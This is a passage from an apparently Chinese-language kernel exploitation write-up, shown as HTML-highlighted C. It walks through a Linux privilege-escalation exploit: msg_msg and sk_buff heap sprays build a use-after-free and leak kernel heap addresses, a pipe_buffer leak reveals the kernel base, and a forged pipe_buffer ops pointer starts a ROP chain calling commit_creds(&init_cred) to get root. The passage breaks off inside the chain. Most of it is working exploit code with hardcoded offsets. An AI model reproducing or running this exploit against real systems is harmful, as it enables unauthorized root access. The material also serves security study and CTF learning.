m_list_next<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> m_list_prev<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> m_type<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> m_ts<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> next<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> security<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">struct</span><span class="token punctuation">&#123;</span>    <span class="token keyword">long</span> mtype<span class="token punctuation">;</span>    <span class="token keyword">char</span> mtext<span class="token punctuation">[</span>PAGE_SIZE <span class="token operator">-</span> MSG_MSG_SIZE <span class="token operator">+</span> PAGE_SIZE <span class="token operator">-</span> MSG_MSGSEG_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> msg_fake<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">void</span> <span class="token function">build_msg_msg</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span>msg<span class="token punctuation">,</span> <span class="token class-name">uint64_t</span> m_list_next<span class="token punctuation">,</span> <span class="token class-name">uint64_t</span> m_list_prev<span class="token punctuation">,</span> <span class="token class-name">uint64_t</span> m_ts<span class="token punctuation">,</span> <span class="token class-name">uint64_t</span> next<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    msg<span class="token operator">-></span>m_list_next <span class="token operator">=</span> m_list_next<span class="token punctuation">;</span>    msg<span class="token operator">-></span>m_list_prev <span class="token operator">=</span> m_list_prev<span class="token punctuation">;</span>    msg<span class="token operator">-></span>m_type <span class="token operator">=</span> MTYPE_FAKE<span class="token punctuation">;</span>    msg<span class="token operator">-></span>m_ts <span class="token operator">=</span> m_ts<span class="token punctuation">;</span>    msg<span class="token operator">-></span>next <span class="token operator">=</span> next<span class="token punctuation">;</span>    msg<span class="token operator">-></span>security <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">spray_skbuff</span><span class="token punctuation">(</span><span class="token keyword">int</span> ss<span class="token punctuation">[</span>NUM_SOCKETS<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token keyword">const</span> <span class="token keyword">void</span> <span class="token operator">*</span>buf<span class="token punctuation">,</span> <span class="token class-name">size_t</span> size<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_SOCKETS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> NUM_SKBUFFS<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write</span><span class="token punctuation">(</span>ss<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">,</span> buf<span class="token punctuation">,</span> size<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>            <span class="token punctuation">&#123;</span>                <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] write"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token keyword">return</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    <span class="token keyword">int</span> ss<span class="token punctuation">[</span>NUM_SOCKETS<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">char</span> primary_buf<span class="token punctuation">[</span>PRIMARY_SIZE <span class="token operator">-</span> SKB_SHARED_INFO_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">char</span> secondary_buf<span class="token punctuation">[</span>SECONDARY_SIZE <span class="token operator">-</span> SKB_SHARED_INFO_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span>msg<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> kheap<span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Free secondary message and then gain UAF"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>real_id<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_secondary<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_secondary<span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_SECONDARY<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying fake secondary messages..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memset</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">build_msg_msg</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>secondary_buf<span class="token punctuation">,</span> <span class="token number">0x41414141</span><span class="token punctuation">,</span> <span class="token number">0x42424242</span><span class="token punctuation">,</span> PAGE_SIZE <span class="token operator">-</span> MSG_MSG_SIZE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">spray_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Leaking adjacent secondary message..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">peek_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>fake_id<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_fake<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_fake<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_fake<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span>SECONDARY_SIZE<span class="token punctuation">]</span> <span class="token operator">!=</span> MSG_TAG<span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[-] Could not leak adjacent secondary message"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    msg <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_fake<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span>SECONDARY_SIZE <span class="token operator">-</span> MSG_MSG_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span>    kheap <span class="token operator">=</span> msg<span class="token operator">-></span>m_list_next<span class="token punctuation">;</span> <span class="token comment">// kheap pointer to the primary message</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>kheap <span class="token operator">&amp;</span> <span class="token punctuation">(</span>PRIMARY_SIZE <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        kheap <span class="token operator">=</span> msg<span class="token operator">-></span>m_list_prev<span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] kheap = %#"</span> PRIx64 <span class="token string">"\n"</span><span class="token punctuation">,</span> kheap<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>此时的 kheap 就是相邻副消息的 m_list-&gt;next 或者 m_list-&gt;prev，指向的就是他对应的主消息<br><img src="/images/c7dcc58a/pasted-7.png" alt="leak kheap"></p><h4 id="leak-address-of-msg-fake"><a href="#leak-address-of-msg-fake" class="headerlink" title="leak address of msg_fake"></a>leak address of msg_fake</h4><p>释放 skb，然后伪造 <code>msg_msg-&gt;next=kheap-MSG_MSGSEG_SIZE</code>，也就是让这个主消息成为这个副消息的 msg_msgseg 结构，这样读取副消息的时候，就能把这个主消息也读出来，就能读到 m_list-&gt;next 也就是 fake_msg 相邻副消息的地址，减去 SECONDARY_SIZE 就是 msg_fake 的地址：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Freeing skb..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">free_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">goto</span> ret<span class="token punctuation">;</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying fake secondary messages..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memset</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">build_msg_msg</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>secondary_buf<span class="token punctuation">,</span> <span class="token number">0x41414141</span><span class="token punctuation">,</span> <span class="token number">0x42424242</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_fake<span class="token punctuation">.</span>mtext<span class="token punctuation">)</span><span class="token punctuation">,</span> kheap <span class="token operator">-</span> MSG_MSGSEG_SIZE<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">spray_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">goto</span> ret<span class="token punctuation">;</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Leaking address of msg_fake"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">peek_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>fake_id<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_fake<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_fake<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">goto</span> ret<span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">int</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_fake<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span>PAGE_SIZE<span class="token punctuation">]</span> <span class="token operator">!=</span> MSG_TAG<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[-] Could not leak address of msg_fake\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">goto</span> ret<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>msg <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>msg_fake<span class="token punctuation">.</span>mtext<span class="token punctuation">[</span>PAGE_SIZE<span class="token operator">-</span>MSG_MSG_SIZE<span class="token punctuation">]</span><span class="token punctuation">;</span>msg_fake_addr <span class="token operator">=</span> msg<span class="token operator">-></span>m_list_next<span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span>msg_fake_addr <span class="token operator">&amp;</span> <span class="token punctuation">(</span>SECONDARY_SIZE <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    msg_fake_addr <span class="token operator">=</span> msg<span class="token operator">-></span>m_list_prev<span class="token punctuation">;</span>msg_fake_addr <span class="token operator">-=</span> SECONDARY_SIZE<span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] address of msg_fake = %#"</span> PRIx64 <span class="token string">"\n"</span><span class="token punctuation">,</span> msg_fake_addr<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h4 id="伪造合法副消息并释放，构造-skb-可控的-UAF"><a href="#伪造合法副消息并释放，构造-skb-可控的-UAF" class="headerlink" title="伪造合法副消息并释放，构造 skb 可控的 UAF"></a>伪造合法副消息并释放，构造 skb 可控的 UAF</h4><p>有了 msg_fake 的地址，只要让 <code>msg_fake-&gt;m_list-&gt;next = msg_fake_addr</code>，随后释放副消息即可成功脱链，留下一块 skb 指向的 free 掉的内存：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Free secondary message and then gain UAF controlled by skb"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">free_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">goto</span> ret<span class="token punctuation">;</span><span class="token function">build_msg_msg</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">msg_msg</span> <span class="token operator">*</span><span class="token punctuation">)</span>secondary_buf<span class="token punctuation">,</span> msg_fake_addr<span class="token punctuation">,</span> msg_fake_addr<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">spray_skbuff</span><span class="token punctuation">(</span>ss<span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">goto</span> ret<span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read_msg</span><span class="token punctuation">(</span>msqid<span class="token punctuation">[</span>fake_id<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>msg_fake<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>msg_fake<span class="token punctuation">)</span><span class="token punctuation">,</span> MTYPE_FAKE<span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token keyword">goto</span> ret<span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>大概就像这样<br><img src="/images/c7dcc58a/pasted-8.png" alt="UAF2"></p><h3 id="skb-amp-pipe-buffer-的-UAF-利用思路"><a href="#skb-amp-pipe-buffer-的-UAF-利用思路" class="headerlink" title="skb &amp; pipe_buffer 的 UAF 利用思路"></a>skb &amp; pipe_buffer 的 UAF 利用思路</h3><h4 id="leak-kernel-base"><a href="#leak-kernel-base" class="headerlink" title="leak kernel base"></a>leak kernel base</h4><p>堆喷 pipe_buffer，利用 skb read 泄露 ops 指针，计算出 kernel 基址：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying pipe_buffer objects..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_PIPEFDS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">pipe</span><span class="token punctuation">(</span>pipefd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] pipe"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">write</span><span class="token punctuation">(</span>pipefd<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"xi4oyu"</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] write"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Leaking and freeing pipe_buffer object..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> NUM_SOCKETS<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> NUM_SKBUFFS<span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">read</span><span class="token punctuation">(</span>ss<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> secondary_buf<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span>        <span class="token punctuation">&#123;</span>            <span class="token function">perror</span><span class="token punctuation">(</span><span class="token string">"[-] read"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0x10</span><span class="token punctuation">]</span> <span class="token operator">!=</span> MTYPE_FAKE<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            pipe_buffer_ops <span class="token operator">=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0x10</span><span class="token punctuation">]</span><span class="token punctuation">;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span>kernel_offset  <span class="token operator">=</span> pipe_buffer_ops <span class="token operator">-</span> <span class="token number">0xffffffff8223e140</span><span class="token punctuation">;</span>  <span class="token comment">// anon_pipe_buf_ops</span>kernel_base <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff81000000</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] pipe_buffer_ops = %#"</span> PRIx64 <span class="token string">"\n"</span><span class="token punctuation">,</span> pipe_buffer_ops<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] kernel_base = %#"</span> PRIx64 <span class="token string">"\n"</span><span class="token punctuation">,</span> kernel_base<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"[+] kernel_offset = %#"</span> PRIx64 <span class="token string">"\n"</span><span class="token punctuation">,</span> kernel_offset<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h4 id="hijack-control-follow"><a href="#hijack-control-follow" class="headerlink" title="hijack control follow"></a>hijack control follow</h4><p>skb 堆喷伪造 pipe_buffer，劫持 ops 指针，劫持程序控制流，当关闭管道时，最后进入下面的函数释放 pipe_buffer，可知 rsi 指向 pipe_buffer，可以栈迁移到 pipe_buffer，随后 ROP</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> <span class="token keyword">inline</span> <span class="token keyword">void</span> <span class="token function">pipe_buf_release</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">pipe_inode_info</span> <span class="token operator">*</span>pipe<span class="token punctuation">,</span>    <span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span>buf<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">const</span> <span class="token keyword">struct</span> <span class="token class-name">pipe_buf_operations</span> <span class="token operator">*</span>ops <span class="token operator">=</span> buf<span class="token operator">-></span>ops<span class="token punctuation">;</span>buf<span class="token operator">-></span>ops <span class="token operator">=</span> <span class="token constant">NULL</span><span class="token punctuation">;</span>ops<span class="token operator">-></span><span class="token function">release</span><span class="token punctuation">(</span>pipe<span class="token punctuation">,</span> buf<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>ROP 执行 <code>commit_creds(&amp;init_cred)</code> 提权，平衡栈最后回到用户态起 shell 即可，具体操作如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"[*] Spraying fake pipe_buffer..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">memset</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>secondary_buf<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>buf <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buffer</span> <span class="token operator">*</span><span class="token punctuation">)</span>secondary_buf<span class="token punctuation">;</span>buf<span class="token operator">-></span>ops <span class="token operator">=</span> msg_fake_addr <span class="token operator">+</span> <span class="token number">0x200</span><span class="token punctuation">;</span>ops <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">pipe_buf_operations</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0x200</span><span class="token punctuation">]</span><span class="token punctuation">;</span>ops<span class="token operator">-></span>release <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff8172e1ac</span><span class="token punctuation">;</span> <span class="token comment">// push rsi ; jmp qword ptr [rsi + 0x39]</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff8106f8c9</span><span class="token punctuation">;</span>  <span class="token comment">// add rsp, 0xd0 ; ret</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0x39</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff81163ea0</span><span class="token punctuation">;</span>  <span class="token comment">// pop rsp ; ret</span>rop <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token class-name">uint64_t</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>secondary_buf<span class="token punctuation">[</span><span class="token number">0xd0</span> <span class="token operator">+</span> <span class="token number">8</span><span class="token punctuation">]</span><span class="token punctuation">;</span>ridx <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>rop<span class="token punctuation">[</span>ridx<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff8108c650</span><span class="token punctuation">;</span>  <span class="token comment">// pop rdi ; ret</span>rop<span class="token punctuation">[</span>ridx<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token number">0xffffffff8286b780</span><span class="token punctuation">;</span>  <span class="token comment">// init_cred</span>rop<span class="token punctuation">[</span>ridx<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> kernel_offset <span class="token operator">+</span> <span class="token 